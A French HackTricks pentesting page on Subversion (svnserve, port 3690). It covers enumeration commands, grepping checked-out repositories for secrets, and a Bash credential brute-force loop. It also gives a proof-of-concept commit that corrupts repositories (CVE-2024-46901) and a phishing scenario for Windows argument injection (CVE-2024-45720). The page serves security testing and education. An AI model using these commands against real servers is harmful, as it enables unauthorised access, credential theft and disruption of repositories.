3690/tcp - Pentesting Subversion (SVN) Serveur

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Subversion (SVN) est un système de gestion de versions centralisé (licence Apache) utilisé pour le versioning logiciel et le contrôle des révisions.

Port par défaut : 3690/tcp (svnserve). Il peut également être exposé via HTTP/HTTPS via mod_dav_svn et via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Énumération

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf peut autoriser anon-access = read (ou même write). Si vous pouvez lister, essayez checkout pour récupérer des secrets, des scripts et des CI tokens.
  • Les dépôts stockent fréquemment pipelines de build, clés de déploiement, et identifiants de base de données dans des fichiers de configuration versionnés. Grep la copie de travail après le checkout : grep -R "password\|secret\|token" -n ..
  • Si svn+ssh est activé, les shells utilisateur permettent souvent des commandes svnserve restreintes ; essayez ssh user@host svnserve -t avec des sous-commandes conçues pour contourner les wrappers.

Bruteforcing credentials (svnserve)

sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Une boucle Bash rapide peut essayer des identifiants:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Vulnérabilités récentes (impact pratique)

mod_dav_svn DoS via control characters (CVE-2024-46901)

  • Un utilisateur ayant les droits de commit peut écrire un chemin contenant des caractères de contrôle (p.ex. \x01, \x7f) qui corrompt le dépôt, entraînant l’échec des checkouts/logs ultérieurs et pouvant provoquer le crash des workers mod_dav_svn.
  • Affecte Subversion ≤ 1.14.4 lorsqu’il est servi via HTTP(S) (mod_dav_svn). Corrigé dans 1.14.5.
  • PoC de commit avec svnmucc (requiert des identifiants de commit valides) :
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Après le commit, les clients normaux peuvent planter ou refuser les mises à jour jusqu’à ce que les admins suppriment manuellement la révision avec svnadmin dump/filter/load.

Injection d’arguments sur Windows dans le client svn (CVE-2024-45720)

  • Sur Windows, l’encodage de caractères “best-fit” dans svn.exe permet une command-line argument injection lorsqu’il traite des chemins/URLs spécialement conçus non‑ASCII, pouvant conduire à l’exécution arbitraire de programmes.
  • Affecte Subversion ≤ 1.14.3 uniquement sur Windows ; corrigé dans 1.14.4. Surface d’attaque : phishing d’un développeur pour qu’il lance svn sur une URL/chemin contrôlé par l’attaquant.
  • Pentest angle : si vous contrôlez un partage réseau ou un ZIP fourni à un dev Windows, nommez une URL de repo ou un chemin de working-copy contenant des octets best-fit qui se décodent en arguments injectés de type " & calc.exe & ", puis trompez la victime pour qu’elle exécute svn status ou une commande similaire sur ce chemin.

Notes pour le workflow d’exploitation

  1. Vérifier la méthode d’accès : svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), ou svn+ssh://.
  2. Try anonymous read d’abord ; puis spray des creds courants. Si HTTP Basic est utilisé, réutilisez les creds trouvés ailleurs.
  3. Enumerate hooks : hooks/pre-commit, post-commit scripts contiennent parfois des plaintext credentials ou des hostnames.
  4. Leverage svn:externals pour récupérer des chemins supplémentaires depuis d’autres hôtes ; listez-les avec svn propget svn:externals -R . après le checkout.
  5. Version leaks : les en-têtes de réponse HTTP de mod_dav_svn montrent généralement la version de Subversion & Apache ; comparez avec 1.14.5 pour repérer les cibles vulnérables.
  6. Si vous obtenez un accès au filesystem du repo, svnadmin dump/svnlook author/svnlook dirs-changed permettent une analyse hors-ligne sans credentials.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks